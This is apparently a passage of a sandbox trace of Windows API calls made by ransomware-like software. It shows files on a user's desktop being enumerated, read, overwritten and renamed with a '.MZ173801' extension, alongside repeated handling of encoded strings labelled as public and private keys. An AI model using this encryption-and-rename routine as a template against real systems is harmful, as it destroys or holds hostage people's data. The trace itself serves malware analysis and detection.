lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0178.692] GetCurrentThreadId () returned 0xab4 [0178.692] GetCurrentThreadId () returned 0xab4 [0178.692] GetCurrentThreadId () returned 0xab4 [0178.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\oeJFddiIwMX1RoB4tjS.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\oejfddiiwmx1rob4tjs.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0178.693] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0178.693] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0178.693] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x1789b [0178.693] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0178.693] ReadFile (in: hFile=0x32c, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x1789b, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x1789b, lpOverlapped=0x0) returned 1 [0178.695] CloseHandle (hObject=0x32c) returned 1 [0178.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\oeJFddiIwMX1RoB4tjS.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\oejfddiiwmx1rob4tjs.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0178.783] WriteFile (in: hFile=0x32c, lpBuffer=0x24b8040*, nNumberOfBytesToWrite=0x1789b, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b8040*, lpNumberOfBytesWritten=0x19f758*=0x1789b, lpOverlapped=0x0) returned 1 [0178.785] CloseHandle (hObject=0x32c) returned 1 [0178.861] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\oeJFddiIwMX1RoB4tjS.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\oejfddiiwmx1rob4tjs.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\oeJFddiIwMX1RoB4tjS.csv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\oejfddiiwmx1rob4tjs.csv.mz173801")) returned 1 [0179.272] GetCurrentThreadId () returned 0xab4 [0179.272] GetCurrentThreadId () returned 0xab4 [0179.272] GetCurrentThreadId () returned 0xab4 [0179.272] GetCurrentThreadId () returned 0xab4 [0179.272] GetCurrentThreadId () returned 0xab4 [0179.272] GetCurrentThreadId () returned 0xab4 [0179.272] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c1b380, ftCreationTime.dwHighDateTime=0x1d5ed93, ftLastAccessTime.dwLowDateTime=0x87450720, ftLastAccessTime.dwHighDateTime=0x1d5ee50, ftLastWriteTime.dwLowDateTime=0x87450720, ftLastWriteTime.dwHighDateTime=0x1d5ee50, nFileSizeHigh=0x0, nFileSizeLow=0x1391b, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="RDCSEzrQ7xZ1X0RREt.avi", cAlternateFileName="RDCSEZ~1.AVI")) returned 1 [0179.272] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0179.272] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0179.272] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\RDCSEzrQ7xZ1X0RREt.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\rdcsezrq7xz1x0rret.avi"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c1b380, ftCreationTime.dwHighDateTime=0x1d5ed93, ftLastAccessTime.dwLowDateTime=0x87450720, ftLastAccessTime.dwHighDateTime=0x1d5ee50, ftLastWriteTime.dwLowDateTime=0x87450720, ftLastWriteTime.dwHighDateTime=0x1d5ee50, nFileSizeHigh=0x0, nFileSizeLow=0x1391b)) returned 1 [0179.272] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\RDCSEzrQ7xZ1X0RREt.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\rdcsezrq7xz1x0rret.avi")) returned 0x20 [0179.272] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\RDCSEzrQ7xZ1X0RREt.avi", dwFileAttributes=0x80) returned 1 [0182.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0182.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0182.034] GetCurrentThreadId () returned 0xab4 [0182.034] GetCurrentThreadId () returned 0xab4 [0182.034] GetCurrentThreadId () returned 0xab4 [0182.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0182.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0182.035] GetCurrentThreadId () returned 0xab4 [0182.035] GetCurrentThreadId () returned 0xab4 [0182.035] GetCurrentThreadId () returned 0xab4 [0182.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\RDCSEzrQ7xZ1X0RREt.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\rdcsezrq7xz1x0rret.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0182.036] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0182.036] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0182.036] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x1391b [0182.036] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0182.036] ReadFile (in: hFile=0x32c, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x1391b, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x1391b, lpOverlapped=0x0) returned 1 [0182.038] CloseHandle (hObject=0x32c) returned 1 [0182.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\RDCSEzrQ7xZ1X0RREt.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\rdcsezrq7xz1x0rret.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0183.917] WriteFile (in: hFile=0x32c, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x1391b, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19f758*=0x1391b, lpOverlapped=0x0) returned 1 [0183.920] CloseHandle (hObject=0x32c) returned 1 [0184.074] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\RDCSEzrQ7xZ1X0RREt.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\rdcsezrq7xz1x0rret.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\RDCSEzrQ7xZ1X0RREt.avi.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\rdcsezrq7xz1x0rret.avi.mz173801")) returned 1 [0184.075] GetCurrentThreadId () returned 0xab4 [0184.075] GetCurrentThreadId () returned 0xab4 [0184.075] GetCurrentThreadId () returned 0xab4 [0184.076] GetCurrentThreadId () returned 0xab4 [0184.076] GetCurrentThreadId () returned 0xab4 [0184.076] GetCurrentThreadId () returned 0xab4 [0184.076] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa77e5890, ftCreationTime.dwHighDateTime=0x1d5e8a9, ftLastAccessTime.dwLowDateTime=0x26bcbb20, ftLastAccessTime.dwHighDateTime=0x1d5e651, ftLastWriteTime.dwLowDateTime=0x26bcbb20, ftLastWriteTime.dwHighDateTime=0x1d5e651, nFileSizeHigh=0x0, nFileSizeLow=0x1018b, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="wuwHfL fJ2t.mp3", 